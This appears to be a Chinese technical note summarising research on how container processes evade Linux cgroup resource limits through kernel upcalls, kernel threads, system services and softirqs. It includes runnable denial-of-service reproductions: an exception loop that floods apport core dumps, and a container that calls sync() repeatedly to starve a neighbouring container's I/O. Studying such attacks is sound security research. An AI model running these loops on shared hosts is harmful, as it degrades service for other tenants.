【容器】容器绕过Cgroups限制策略

  1. 异常的内核处理机制
  2. 文件系统和I/O设备
  3. linux日志系统
  4. 容器引擎和软中断的处理

1 策略

  1. 利用内核的Upcalls

由于cgroup的继承机制,一个进程所fork或clone出的子进程都会继承该进程的cgroup限制。因为内核进程是由内核创建的,所以所有内核进程都会attach到根cgroup。因此所有由内核进程通过fork或clone创建的进程都会attach到它们父进程(内核进程)所属的同一个cgroup(根cgroup)上。

因此,一个cgroup内的进程可以利用内核进程作为代理来生成新的进程,从而逃脱cgroup的控制。首先进程p可以触发内核来初始化一个内核进程K,这个内核进程K作为代理,进一步创建一个新进程M,这个新进程也会attach到根cgroup。因此M相当于一个不受cgroup限制的进程。

这种机制要求用户空间进程先调用内核空间中的内核函数,然后从内核空间向上调用用户空间进程。虽然从用户空间调用特定的内核函数很自然(例如系统调用),但相反的方向并不常见。一个可行的方式是通过usermode helperAPI,它通过提供可执行变量和环境变量的名称,为在用户空间中创建进程提供了一个简单的接口。这个函数首先调用一个在内核进程中运行的工作队列(workerqueue例如kworker),工作队列的处理程序函数进一步创建一个内核进程来启动用户进程。最后一步调用内核中的fork函数,将创建的用户进程附加到内核进程的cgroups。

usermode-helper API,参考1参考2

  1. 将工作负载委托给内核线程

内核会运行多种进程去处理各种内核函数并且在进程上下文中运行内核代码。例如,内核守护进程kthreadd创建其它内核线程;kworker处理工作队列中的任务;ksoftirqd服务软中断;Migration执行迁移任务,将任务从一个核心移动到另一个核心...

有不少文章提到这些内核进程会消耗大量的资源:

  1. 利用服务进程

除了内核进程,linux还运行了许多系统进程,例如进程管理、系统信息日志、debugging等等。这些进程监控其它进程并且在特定条件下触发生成工作负载。还有一些用户空间的进程是为了为其它进程提供依赖。如果用户空间进程能够触发某些条件可以生成这些内核负载,那么这些工作负载也不会被cgroup限制。

  1. 利用中断上下文

cgroup机制只会计算进程上下文所消耗的资源。一旦内核运行在其它上下文中,所有的资源消耗将不再计入任何的cgroup

linux内核服务中断管理分为两部分:top half(硬件中断)和bottom half(软件中断)。

由于硬件中断可能会随时发生,因此top half只会执行轻量级的操作,然后再交给bottom half处理。当bottom half在执行中断处理程序的时候,内核是运行在软件中断上下文中,因此it will not charge any process for the system resources

内核版本3.6以后,软中断的处理与产生它们的进程相绑定,这意味着softirq上下文中消耗的资源将不会算在触发中断的进程的配额中。因此softirqs的执行将会抢占当前进程的任何工作负载,并且所有进程都将被延迟。

此外,如果处理软中断的工作负载过重,内核将把他们卸载到内核线程softirqd,它是一个CPU内核线程,并以默认故障继承的优先级运行。一旦卸载,软中断处理就在softirqd进程上下文中运行,因此任何资源的消耗都会算在进程softirqd上。

总之,如果一个进程能够引起大量的软件中断,那么内核不得不消耗大量资源来处理它,无论是中断上下文还是ksoftirqd进程上下文,而这些资源消耗不会算在该进程上。

总结:

  • 触发内核线程的工作量,使其消耗大量资源
  • 使内核进程创建子进程,使子进程与内核进程同属于一个cgroup,由子进程消耗大量资源
  • 触发当前操作系统中服务进程消耗资源
  • 利用中断上下文来消耗资源

2 Case

  1. case 1(策略1)

利用内核中的异常处理机制。容器所引发的异常可以调用用户空间的进程,结果是容器可以消耗比设定资源高出200倍的效果。

detail:

linux内核为各种异常提供了专用的异常处理程序,包括错误(例如divided error)和trap(例如overflow)。内核维护一个IDT(中断描述表),其中包含每个中断或异常处理程序的地址。如果CPU在用户态中引发异常,则在内核态中处理相应的处理程序。处理器首先将寄存器保存在内核堆栈中,相应地处理异常,最后返回到用户模式。整个过程在内核空间和触发异常的进程上下文中进行。因此会进行正确的cgroup限制。

然而,这些异常将导致初始进程的终止并引发异常信号。这些信号将会进一步触发core dump内核函数去生成一个用于debug的core dump文件。内核的core dump代码会通过usermode helper API从内核调用用户空间的应用程序。在ubuntu中,默认的用户空间core dump应用程序是apport,他会出现在任何异常时触发。而apport不是由容器进程所派生的,所以消耗的系统资源是不会算在容器中的。

为了达到负载均衡,新生成的apport进程实例将被内核调度到所有的CPU内核,从而逃离cpusets cgroup。

exp:
由于apport进程的运行比轻量级异常处理消耗更多额资源,如果容器不断引发异常,整个CPU将被apport进程完全占用,cpu cgroup的溢出导致大量占用分配给容器的系统资源。

为了衡量恶意容器所带给其它容器的影响,在其它容器上运行sysbench。

# 前置条件,8核CPU
mkdir /root/exception && cd /root/exception

cat > exception.c << EOF
int main()
{
    int a = 1/0;
    return 0;
}
EOF

cat > exception_loop.sh << EOF
for i in $(seq 1 1000):
do
    ./exception.out &
done
EOF


docker build -t exception_test .

# 一共启动三个终端

# 在第一个终端启动htop观察系统资源消耗

# 在第二个终端启动
docker stats

# 在第三个终端启动一个容器
docker run --rm -it --name exception_test_normal exception_test
# 在容器中用sysbench测试
sysbench --test=cpu --cpu-max-prime=200 --threads=4 --time=20 run
# 在htop终端可以观察到有4个核的CPU消耗
# 退出
# 重新创建一个容器,指定CPU,并限制资源使用
docker run --rm -it --cpus=0.5 --cpuset-cpus=1 -m=2G --name exception_test_limited exception_test
# 在重新运行sysbench
sysbench --test=cpu --cpu-max-prime=200 --threads=4 --time=20 run
# 会发现容器没有超过指定的资源消耗量
# 此时运行脚本
bash exception_loop.sh
  1. case 2(策略2)

利用回写机制进行磁盘的数据同步。容器可以不断调用全局数据同步,以降低主机上的特定I/O工作负载,最高可达95%。

detail:

这种情况是利用磁盘数据同步的回写机制,CPU只将更新后的数据写入缓存buffer,当缓存被移除后或达到特定条件,数据才会写入磁盘,其目的是减少开销,降低磁盘读写次数。

flusher进程负责将dirty页写入磁盘,flusher进程写回dirty页的触发机制有两类:一是当空闲内存低于一定值或者dirty页比例超过一定值等某项指标达到某个阈值时;另一种就是当用户进程调用了sync()fsync()系统调用时。

这种回写机制其中一个缺点是导致其它进程在等待磁盘时被阻塞。

sync()系统调用:第一步启动一个内核进程,将所有dirty页的数据flush并写入磁盘,而此时所有I/O操作必须等待,而且其它进程生成的dirty页也将被迫写回磁盘。因此可以在一个恶意容器中不断运行调用sync(),其它容器在进行写操作会导致大量的CPU等待时间(CPU等待时间指I/O等待所消耗的时间),这是sync()和写操作产生的。sync参考

而blkio cgroup子系统无法限制同步机制所消耗的资源,其原因是sync()启动的进程在内核空间。

exp:
在两个不同的核心上运行两个容器,在一个恶意容器中不断调用sync(),在其它容器中进行I/O操作。

[资源释放攻击](Venkatanathan Varadarajan, Thawan Kooburat, Benjamin Farley, Thomas Ris-tenpart, and Michael M Swift. 3: Improve Your CloudPerformance (At Your Neighbor's Expense). InACM CCS, 2012.)

# iostat
yum install -y sysstat

# 新安装一块硬盘,重启系统
lsblk 
NAME            MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda               8:0    0   30G  0 disk 
├─sda1            8:1    0    1G  0 part /boot
└─sda2            8:2    0   29G  0 part 
    ├─centos-root 253:0    0   27G  0 lvm  /
    └─centos-swap 253:1    0    2G  0 lvm  [SWAP]
sdb               8:16   0   10G  0 disk /mnt
sr0              11:0    1  4.5G  0 rom

# 格式化磁盘
mkfs.ext4 /dev/sdb

# 挂载
mount /dev/sdb /mnt

# victim 容器
docker run -d --name victim -v /mnt:/tmp --cpuset-cpus="1" ubuntu /bin/bash -c "while true; do echo victim; sleep 1;done"
# attacker 容器
docker run -d --name attacker --cpuset-cpus="2" ubuntu /bin/bash -c "while true; do echo attacker; sleep 1;done"

# 将脚本cp到attacker下
docker cp mysync attacker:/root

# 进入 attacker
docker exec -it attacker /bin/bash
cd /root
./mysync
exit

# 进入 victim
docker exec -it victim /bin/bash
yum install fio -y

fio -ioengine=libaio -bs=4k -direct=1 -thread -rw=write -size=5G -filename=/mnt/test -name="Max throughput" -iodepth=16 -runtime=20
  1. case 3(策略3)

利用系统服务日志,它生成消耗cpu和块设备带宽的工作负载。

exp:
re:周天昱,申文博,杨男子,李金库,秦承刚,喻望.Docker组件间标准输入输出复制的DoS攻击分析[J].网络与信息安全学报,2020,6(06):45-56.

当使用 printf 在容器实例内持续输出数据 到 stdout,可以引发 Docker 组件的高 CPU 消耗, 造成对宿主机 CPU 资源的 DoS 攻击。其原因是 Docker 各个组件间通过自动触发的 goroutine 不断对 stdio 进行复制,消耗大量 CPU,导致 DoS 攻击。

  1. case 4(策略2、3)

利用在容器引擎在容器引擎进程和内核线程上是生成额外的为计算的工作负载。

  1. case 5(策略2、4)

利用软中断处理机制在内核线程上消耗CPU周期和中断上下文。